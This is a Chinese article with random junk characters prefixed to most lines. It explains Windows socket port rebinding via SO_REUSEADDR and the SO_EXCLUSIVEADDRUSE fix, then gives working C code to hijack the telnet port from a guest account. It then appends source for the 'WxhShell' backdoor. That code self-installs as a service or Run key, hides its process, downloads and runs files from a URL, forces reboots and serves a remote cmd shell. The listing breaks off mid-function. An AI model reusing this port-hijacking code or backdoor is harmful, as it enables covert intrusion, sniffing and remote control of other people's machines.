在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
GJrG~T s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
~Y;*u]^ d-qUtgqV86 saddr.sin_family = AF_INET;
b9krOe*j dH!*!r> saddr.sin_addr.s_addr = htonl(INADDR_ANY);
U6K|fYN` 1#x0 q:6 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Da|z"I
x mt
.sucT 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
@]j1:PN-
r@V!,k#S 这意味着什么?意味着可以进行如下的攻击:
.nJz G s<Ziegmw|g 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
eFgA 8kY) x:Y1P: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
jd:6:Fm 1?}T=)3+$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
DQ3<$0 dN q$} 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
h{Y",7]! N7"W{"3D 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
L0,'mS 2G7Wi!J 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
&d!GImcxQ >Tgv11[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
7#XzrT] -RwE%cr #include
zCZf%ATq #include
%J(:ADu] #include
la!~\wpa #include
kVgTGC"L= DWORD WINAPI ClientThread(LPVOID lpParam);
RZLq]8pM int main()
FrS]|=LJhX {
@"A4$`Xi3 WORD wVersionRequested;
HJ"GnZp< DWORD ret;
uRvP hkqm WSADATA wsaData;
,+k\p5P BOOL val;
[y(MCf19 SOCKADDR_IN saddr;
@gblW*Zhk SOCKADDR_IN scaddr;
L!9 2P{ K int err;
t Q)qCk07 SOCKET s;
j#|ZP-=1_ SOCKET sc;
X?O[r3< int caddsize;
teRTu HANDLE mt;
Q,g\ DWORD tid;
="+#W6bZT wVersionRequested = MAKEWORD( 2, 2 );
4hB]vY\T err = WSAStartup( wVersionRequested, &wsaData );
Dt@SqX:~Ee if ( err != 0 ) {
#a#F,ZT printf("error!WSAStartup failed!\n");
HMXE$d=[ return -1;
)=+|i3]U }
>4TO=i saddr.sin_family = AF_INET;
YK_7ip.a[ U^PgG|0N //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
wwqEl( =X}J6|>X saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Yy8g(bU saddr.sin_port = htons(23);
Rq -ZL{LR7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-"x$ZnHU {
]Wup/o printf("error!socket failed!\n");
W/N7vAx X return -1;
5xiEPh }
).O)p9 val = TRUE;
KNl$3nX //SO_REUSEADDR选项就是可以实现端口重绑定的
0GL M(JmK if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
~%oR[B7=| {
Eci\a] printf("error!setsockopt failed!\n");
@7}W=HB return -1;
>P(.:_^p }
kh<2BOV //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
F4QVAOM]U //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
:jf3HG //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
&{:-]g\ gXU8hTd8 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
u8^lB7!e/ {
`[A];] ret=GetLastError();
BT$_@%ea& printf("error!bind failed!\n");
pH;%ELZ return -1;
:RYTL'hes }
GgU/!@ listen(s,2);
Om&Dw|xG8 while(1)
\8tsDG(1 ' {
+ZYn? #IQ caddsize = sizeof(scaddr);
ZCw]m#lS //接受连接请求
$G>. \t sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
ooGM$U if(sc!=INVALID_SOCKET)
Gj*9~*xm( {
%O<BfIZ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Cx"sw
} if(mt==NULL)
xno\s.H%] {
XW9!p.*.U printf("Thread Creat Failed!\n");
_F{C\} break;
}Jw,>} }
]n~V!hl?A }
a*;b^Ze`v CloseHandle(mt);
?2a $*( }
yZ:qU({KhD closesocket(s);
u2I Cl WSACleanup();
Ac6=(B return 0;
E`q_bn }
9mgIUjz DWORD WINAPI ClientThread(LPVOID lpParam)
<3iMRe {
zDp 2g) SOCKET ss = (SOCKET)lpParam;
Z)!C'c b SOCKET sc;
J4utIGF unsigned char buf[4096];
:N@^?q{b SOCKADDR_IN saddr;
B!yr!DWv long num;
3T
9j@N77 DWORD val;
/?!u{(h } DWORD ret;
<i[HbgUlO. //如果是隐藏端口应用的话,可以在此处加一些判断
q4q6c")zp //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
ex|F|0k4} saddr.sin_family = AF_INET;
ijcm2FJcG saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
PH"%kCI: saddr.sin_port = htons(23);
$(
)>g>% if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ax2B ]L2 {
mmsPLv6 printf("error!socket failed!\n");
MDN--p08 return -1;
iE{&*.q_}> }
B *vM0 val = 100;
E4!Fupkpf if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
A
>$I
-T+ {
+"(jjxJm ret = GetLastError();
!BI;C(,RL return -1;
#g=XUZ/" }
S'14hk< if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Qd6F H2Pl {
*VeRVaBl ret = GetLastError();
5;S.H#YOpO return -1;
E9}C # }
zQA`/&=Y if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
H"KCK6 {
OB7hlW printf("error!socket connect failed!\n");
-8Xf0_ closesocket(sc);
9l,oP? closesocket(ss);
&~!Wym return -1;
N7_"H>O$0U }
>+waX"e while(1)
k8Xm n6X {
1cGmg1U; //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
:LTN!jj //如果是嗅探内容的话,可以再此处进行内容分析和记录
nm+s{ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
-hV*EPQ/ num = recv(ss,buf,4096,0);
]?)TdJ` if(num>0)
<Qq*p send(sc,buf,num,0);
C>~TI,5a3 else if(num==0)
/> Nt[o[r break;
j4b4!^fV num = recv(sc,buf,4096,0);
X|[`P<'N< if(num>0)
IAEAhqp send(ss,buf,num,0);
+{>=^9%X else if(num==0)
I|J/F}@p break;
`kr?j:g }
sr}E+qf closesocket(ss);
W`&hp6Jq closesocket(sc);
CJ%I51F`X return 0 ;
qVPeB,kIz }
7rPF$ \# iOdpM{~* 5?L<N:;J_ ==========================================================
KU;9}!# d1kJRJ 下边附上一个代码,,WXhSHELL
xCKRxF 0g\(+Qg^ ==========================================================
WKU=.sY SB7c.H, #include "stdafx.h"
>Se,;cB'/] [:V$y1 #include <stdio.h>
%UM
*79 #include <string.h>
_~pbqa,
#include <windows.h>
5PW^j\G-f #include <winsock2.h>
>j`qh:^ #include <winsvc.h>
Jo}eeJ;k #include <urlmon.h>
- YV>j d %#b:(, #pragma comment (lib, "Ws2_32.lib")
c|1&lYal; #pragma comment (lib, "urlmon.lib")
:L;a:xSpn= "\=U)CJ #define MAX_USER 100 // 最大客户端连接数
"vGW2~*) #define BUF_SOCK 200 // sock buffer
D-4f.Tq4# #define KEY_BUFF 255 // 输入 buffer
l(q ,<[O nOz.G" #define REBOOT 0 // 重启
-^57oU #define SHUTDOWN 1 // 关机
qw8Rlws% n(|^SH4$b #define DEF_PORT 5000 // 监听端口
g*"P:n71 ]:f%l
mEy #define REG_LEN 16 // 注册表键长度
6&-(&(_ #define SVC_LEN 80 // NT服务名长度
HmwT~
Z<phcqEi8 // 从dll定义API
7)k\{&+P typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
MS]r:X6 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
r9lR|\Ax2U typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
_[y/Y\{I typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
jSA jcLR AK#1]i~ // wxhshell配置信息
'=6\v! struct WSCFG {
aATA9V int ws_port; // 监听端口
"Pf~iwfw char ws_passstr[REG_LEN]; // 口令
PuO&wI]: int ws_autoins; // 安装标记, 1=yes 0=no
((I%' char ws_regname[REG_LEN]; // 注册表键名
N !|wo: char ws_svcname[REG_LEN]; // 服务名
YF:L)0H'O char ws_svcdisp[SVC_LEN]; // 服务显示名
n}V_,:Z char ws_svcdesc[SVC_LEN]; // 服务描述信息
`KQvJjA6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
P2*<GjV`S/ int ws_downexe; // 下载执行标记, 1=yes 0=no
F/A|(AH' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
F\KUZ[% char ws_filenam[SVC_LEN]; // 下载后保存的文件名
; Hd7*`$ F:l%O#V };
F3N6{ysK# d:{O\ // default Wxhshell configuration
e!r-+.i( struct WSCFG wscfg={DEF_PORT,
AvHCO8h| "xuhuanlingzhe",
+'@Dz9:> 1,
^BL"wk "Wxhshell",
2>H24F "Wxhshell",
FEVlZ<PW3I "WxhShell Service",
Wr5V`sM "Wrsky Windows CmdShell Service",
{>%&(
"Please Input Your Password: ",
z"4~P3>{g 1,
XGMiW0j0B "
http://www.wrsky.com/wxhshell.exe",
yH}s<@y;7 "Wxhshell.exe"
nJLFfXWx };
`V3Fx{
hiw|2Y&` // 消息定义模块
pU7lnS[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
1>&]R= char *msg_ws_prompt="\n\r? for help\n\r#>";
O,A{3DAe0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
~3S~\0&| char *msg_ws_ext="\n\rExit.";
-B\HI*u char *msg_ws_end="\n\rQuit.";
i@R
1/M char *msg_ws_boot="\n\rReboot...";
c7E11 \%&Z char *msg_ws_poff="\n\rShutdown...";
'XBFv9& char *msg_ws_down="\n\rSave to ";
3<zp *
+wW(#[ char *msg_ws_err="\n\rErr!";
IyPnp&_ char *msg_ws_ok="\n\rOK!";
2,P^n4~A?w L z1ME( char ExeFile[MAX_PATH];
a+PzI x2 int nUser = 0;
<1COZ) HANDLE handles[MAX_USER];
vFK<J Sk! int OsIsNt;
^w06<m u=_mvN SERVICE_STATUS serviceStatus;
-\n@%$M]G SERVICE_STATUS_HANDLE hServiceStatusHandle;
E\2%E@0# 8Dm%@*B^b // 函数声明
SG4%}wn% int Install(void);
lo!+f"7ym\ int Uninstall(void);
`I5wV/%ib int DownloadFile(char *sURL, SOCKET wsh);
x~j`@k,; int Boot(int flag);
KFkoS0M5| void HideProc(void);
&q|K!5[k int GetOsVer(void);
}XM(:|8J, int Wxhshell(SOCKET wsl);
rI-%be== void TalkWithClient(void *cs);
`%Al>u5 int CmdShell(SOCKET sock);
Q'mM3pq4r int StartFromService(void);
Clb@$, int StartWxhshell(LPSTR lpCmdLine);
5RpjN: 3 3gj+%%!G\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ZEO,]$Yi7 VOID WINAPI NTServiceHandler( DWORD fdwControl );
0tB0@Wj y%bF& // 数据结构和表定义
q,U+qt SERVICE_TABLE_ENTRY DispatchTable[] =
|WdPE@P {
^_5r<{7/ : {wscfg.ws_svcname, NTServiceMain},
B[?CbU {NULL, NULL}
Z@@K[$ };
">jj ?vHU# // 自我安装
W#C*5@ 8 int Install(void)
XJ5. {
rkY[E(SY char svExeFile[MAX_PATH];
m&?r%x HKEY key;
A1?2*W strcpy(svExeFile,ExeFile);
;H.^i|_/ p >t#@Eu| // 如果是win9x系统,修改注册表设为自启动
JNUt$h if(!OsIsNt) {
zeC
RK+- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@\P;W(m.i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6ez<g
Uf RegCloseKey(key);
M$8^91%4B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@w !PaP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8rS:5:Hi RegCloseKey(key);
(<oyN7NT return 0;
EJ:%}HhA }
58J}{Req }
#!KE\OI;@5 }
YgV817OV else {
zXxT%ZcCj )fSOi||C // 如果是NT以上系统,安装为系统服务
z}ddqZ27G$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
zY!j:FT1HY if (schSCManager!=0)
7 uKY24 {
`o8/(`a SC_HANDLE schService = CreateService
'>ssqBnI (
M|`U"vO schSCManager,
[ )dXI IM wscfg.ws_svcname,
o,8TDg wscfg.ws_svcdisp,
H_X [t* 2 SERVICE_ALL_ACCESS,
|3[Wa^U5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
YCM]VDx4u1 SERVICE_AUTO_START,
Z>W g*sZy) SERVICE_ERROR_NORMAL,
ApV~(k)W svExeFile,
fs%.}^kn NULL,
5VAK:eB NULL,
scou%K NULL,
mFaZio0GK NULL,
]4]6Qki NULL
#& Rw& );
91g2A| if (schService!=0)
es&vMY {
_JE"{ ; CloseServiceHandle(schService);
9"A`sGZ CloseServiceHandle(schSCManager);
Ww%=1M]e- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
kep/+J-u strcat(svExeFile,wscfg.ws_svcname);
OAkZKG| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
~h85BF5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
(#RHB`h5 RegCloseKey(key);
=U|.^5sa# return 0;
VAf1 " )pC }
Y
M\ K%rk }
z hRB,1iG CloseServiceHandle(schSCManager);
z'\_jaj^ }
Slher0.Y }
\BZhf?9U d>fkA0G/9! return 1;
N@1+O,o }
oxkoA 1Y@Aixx // 自我卸载
OFv%B/O int Uninstall(void)
D \sWZ {
V(6Z3g HKEY key;
-~30)J=e` Yc
`)R if(!OsIsNt) {
N<|Nwq:NN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
lWc:$qnR-K RegDeleteValue(key,wscfg.ws_regname);
)V6Hl@v RegCloseKey(key);
au=o6WRa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Hx*;jpy(2 RegDeleteValue(key,wscfg.ws_regname);
tEK my7'# RegCloseKey(key);
}w<7.I return 0;
S.m{eur!,E }
CcFn.omA }
3.W@ } }
X+S9{X#Cm else {
O_DtvjI' C/kW0V7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
"C19b:4H if (schSCManager!=0)
lfz2~Si5A {
fb8g7H| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
*ikc]wQr$ if (schService!=0)
zN@}
#Hk {
m~u5kbHOi= if(DeleteService(schService)!=0) {
2.zsCu4lj. CloseServiceHandle(schService);
4V==7p
x( CloseServiceHandle(schSCManager);
$!(pF return 0;
WKIoS"?-F }
6&l+0dq CloseServiceHandle(schService);
O0No'LVu }
;YX4:OBqr CloseServiceHandle(schSCManager);
<$~mE9a6 }
*c*0PdV }
"xHg qgFyO b7tOo7a H) return 1;
o=?C&f{ }
U1RpLkibQ QxOjOKAG
// 从指定url下载文件
rKf-+6Na int DownloadFile(char *sURL, SOCKET wsh)
yA(K=?sq {
kO{s^_qR^c HRESULT hr;
/)(#{i* char seps[]= "/";
[tA;l+Q\& char *token;
^__Dd)( char *file;
;R?I4}O#R8 char myURL[MAX_PATH];
%V{7DA&C char myFILE[MAX_PATH];
cwWodPNm 2e9es strcpy(myURL,sURL);
fKeT~z{~ token=strtok(myURL,seps);
<5jzl while(token!=NULL)
ANSFdc {
WRDjh7~Efn file=token;
fasgmi} token=strtok(NULL,seps);
F[[TWf/ }
P2'DD 3 1u(.T0j7f GetCurrentDirectory(MAX_PATH,myFILE);
)!:Lzi strcat(myFILE, "\\");
xz{IH,?IG strcat(myFILE, file);
B0WJ/)rK< send(wsh,myFILE,strlen(myFILE),0);
J8)#PY[i4 send(wsh,"...",3,0);
*9c!^$V hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
]U7KLUY>: if(hr==S_OK)
eT8} return 0;
=xJKIu else
G0;XaL: return 1;
_}VloiY )V:]g\t }
n>`as 'ao"9-c // 系统电源模块
s)2fG\1 int Boot(int flag)
{aC!~qR {
70mpSD3 HANDLE hToken;
Cp]"1%M, TOKEN_PRIVILEGES tkp;
Bv.`R0e& 9>rPe1iv if(OsIsNt) {
ku
a)
K! OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
@%lBrM LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
BC;: tkp.PrivilegeCount = 1;
]&{ ci tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
,qrQ"r9 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
g{9+O7q if(flag==REBOOT) {
^e>Wo7r if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
0{PzUIM,W return 0;
4[-*~C|W5 }
R$Tp8G>j else {
U}l14 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
?EK?b
s return 0;
P7f,OY<@%o }
D.6,VY H }
T,OwM\`.X{ else {
TbF4/T1b if(flag==REBOOT) {
g@Qgxsyk> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
b(I2m return 0;
PeE/iZ. }
2kUxD8BcN else {
%F*|;o7 s if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
*d',Vuv&[ return 0;
d 'Axum@ }
u}|%@=xn }
O8W7<Wc|z awUx=%ERtA return 1;
4~OQhiJ }
FsGlJ nbTVU+ // win9x进程隐藏模块
n7YEG-J void HideProc(void)
S"hTE7` {
o!r8{L Vax^8 - HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
;u(Du-Os! if ( hKernel != NULL )
&h,5:u {
\rV
B5|D? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
DF{Qw@P! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
CCGV~e+ FreeLibrary(hKernel);
m G1IQ! }
ez9k4IO =_8Tp~j return;
^U8r0]9 }
m3g2b _; `ZaT}#Y // 获取操作系统版本
M#@aB"@J> int GetOsVer(void)
35*\_9/# {
LN_OD5gZ OSVERSIONINFO winfo;
tB'V winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
0J8K9rP;z GetVersionEx(&winfo);
Q\3 Z|% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
1Fi86 return 1;
qJ_1*!!91 else
(:+>#V)pZ return 0;
T^} }
X+n`qiwq *}):<nB$^ // 客户端句柄模块
TjBY
4 int Wxhshell(SOCKET wsl)
<[/%{sUNC {
Zzl,gy70 SOCKET wsh;
-)y%~Zn struct sockaddr_in client;
ib0g3p-Lc DWORD myID;
#9LzY
ksjUr 1o while(nUser<MAX_USER)
jAsO8 {
t%r :4, int nSize=sizeof(client);
?oiKVL"7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
'~wpP=<yyF if(wsh==INVALID_SOCKET) return 1;
jRpdft 2~;&g?T6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
0%;146.p if(handles[nUser]==0)
^aRgMuU closesocket(wsh);
~ekh1^evu else
vY*\R0/a nUser++;
Yp4c'Zk }
*V;3~x! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Kt.~aaG_ )DUL)S return 0;
!1uzX
Kb }
Cv=GZGn- )-/gLZsx // 关闭 socket
IGAzE( void CloseIt(SOCKET wsh)
.]}N55M {
O hR1Jaed closesocket(wsh);
!|m9| nUser--;
wX'}4Z=C~ ExitThread(0);
(5uJZ!m }
xnq><4 Z# Lx_*p]Q // 客户端请求句柄
r[Zq3 void TalkWithClient(void *cs)
q3'o|pp {
M}.b"
ljZ <kD#SV%" SOCKET wsh=(SOCKET)cs;
wTpD1"_R char pwd[SVC_LEN];
)XVh&'(r char cmd[KEY_BUFF];
B[xR-6phW char chr[1];
te2
Iu%5 z int i,j;
'.p? 6k!K a%~yol0wO7 while (nUser < MAX_USER) {
C;sgK D&[Z;,CHMA if(wscfg.ws_passstr) {
[a8+( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&
QY#3yj= //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Y5jYmP< //ZeroMemory(pwd,KEY_BUFF);
|ft:|/^F& i=0;
"r-l8r, while(i<SVC_LEN) {
&jJckT cztS]dcf>~ // 设置超时
6f}e+ 80 fd_set FdRead;
|R'i:= struct timeval TimeOut;
J#7(]!;F FD_ZERO(&FdRead);
R[yL_> FD_SET(wsh,&FdRead);
z
Z%/W)t TimeOut.tv_sec=8;
)bYez TimeOut.tv_usec=0;
zeTszT) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
&] 3:D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
yzc pG6, 1 !s28C5u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
SLA#= K pwd
=chr[0]; >}F? <JB
if(chr[0]==0xd || chr[0]==0xa) { &N{zkMf
pwd=0; Bz]J=g7
break; xzK>Xi?
} $j
!8?
i++; /;+,mp4
} ALR:MAXwC
.! j#3J..u
// 如果是非法用户,关闭 socket p}8ratmN
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &PWf:y{R`
} x<Se>+
{Tx 3$eU
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H^v{Vo
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n^6TP'r
0Uaem
while(1) { gDhl-
/'+4vXc@
ZeroMemory(cmd,KEY_BUFF); Y~GUR&ww0n
<`mOU}0)
// 自动支持客户端 telnet标准 o*)@oU
j=0; Y\>\[*.v
while(j<KEY_BUFF) { KW:r;BFx
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7xR|_+%~K
cmd[j]=chr[0]; Fc{((x s
if(chr[0]==0xa || chr[0]==0xd) { J=L`]XE
cmd[j]=0; GG>Y/;^
break; ./)j5M
} J/gQQ.s
j++; (lb`#TTGx
} &U0WkW
r1hD
%a
// 下载文件 ZE ^u .>5
if(strstr(cmd,"http://")) { G,/Gq+WX
send(wsh,msg_ws_down,strlen(msg_ws_down),0); eu=|t&FKk
if(DownloadFile(cmd,wsh)) q"p#H 8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k7b(QADqUU
else ]kH}lr
yG
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H>Sf[8w)%
} 9 G((wiE
else { ^s.oZj
q
4Q/r[x/&C
switch(cmd[0]) { A<;0L . J
I &cX8Tw
// 帮助 Cd9t{pQD4
case '?': { u-1@~Z
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,iohfZz
break; >T(M0Tkt
} 5GUH;o1m
// 安装 =QTmK/(|B
case 'i': { *\C}Ok=
if(Install()) \cFAxL(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~"RQ!&U
else /;b.-v&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r8<JX5zyuo
break; F1/6&u9I
} frk7^5
// 卸载 r \9:<i8
case 'r': { ltP
if(Uninstall()) Za34/ro/T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]zX\8eHp!
else enWF7`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }t}38%1i
break; THb A(SM
} dzpj9[
// 显示 wxhshell 所在路径 ~igRg~k:/
case 'p': { _J+]SNk
char svExeFile[MAX_PATH]; EmYO5Whi
strcpy(svExeFile,"\n\r"); _dz+2au
strcat(svExeFile,ExeFile); [p2g_bI8yK
send(wsh,svExeFile,strlen(svExeFile),0); Q1K"%
break; B<rPvM7a
} rrW! X q
// 重启 !Jh*a *I}
case 'b': { BllDWKb
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `x5ll;"J
if(Boot(REBOOT)) yo'q[YtP'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =H
L9Z
else { "<7$2!
closesocket(wsh); 9 J$Y,Z
ExitThread(0); >9<_s
^_
} 6R0D3kW
break; }3bQ>whF
} K
lPm=
// 关机 U$MWsDn
case 'd': { ?<-wHj)
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y=PzN3
if(Boot(SHUTDOWN)) y-D>xV)n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L;
@aE[#z
else { _a?wf!4>P
closesocket(wsh); Q1]V|S;)X
ExitThread(0); ]Fb8.q5(Y
} 39'X$!
break; ajf_)G5X P
}
gvvFU,2
// 获取shell PEMxoe<+
case 's': { {LjK_J'
CmdShell(wsh); O8!!UA8V
closesocket(wsh); 6nM
rO$i0k
ExitThread(0); wY."Lw> 6
break; =>E44v
} _Y}^%eFw
// 退出 w@<<zItSo
case 'x': { {"qW~S90YO
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V3aY]#Su
CloseIt(wsh); C@l +\M(
break; wWp?HDl"M
} F(0pru4u
// 离开 a,en8+r]
case 'q': { Yj|c+&Ng
send(wsh,msg_ws_end,strlen(msg_ws_end),0); NZC<m$')
closesocket(wsh); 4nX'a*'D~}
WSACleanup(); Udb0&Y1^
exit(1); h8Dtq5t4
break; C.B8 J"T-
} ee__3>H"/
} rd f85%%7
} ?j},O=JFn
{EiG23!qV
// 提示信息 }WBm%f
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T%z!+/=&^
} L%=BCmMx
} ?dATMmT-
NK*:w *SOI
return; VLl&>Pbe-
} [U+<uZzOC
2/a04qA#
// shell模块句柄 7~Xu71^3s
int CmdShell(SOCKET sock) +4p2KYO
{ )^QG-IM
STARTUPINFO si; xLGTnMYd
ZeroMemory(&si,sizeof(si)); ~a0d.dU
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'PxL^
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3l41r[\
PROCESS_INFORMATION ProcessInfo; *(_ON$+3
char cmdline[]="cmd"; |\{J`5gr
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tL|L"t_5x
return 0; Z:}2F^6
} `s|\"@2
123-i,epg
// 自身启动模式 QvyUd%e'5A
int StartFromService(void) {BwN4r46
{ :;#c:RKi:
typedef struct ' ]H#0.
{ :7'0:'0$t
DWORD ExitStatus; 1dXO3hot
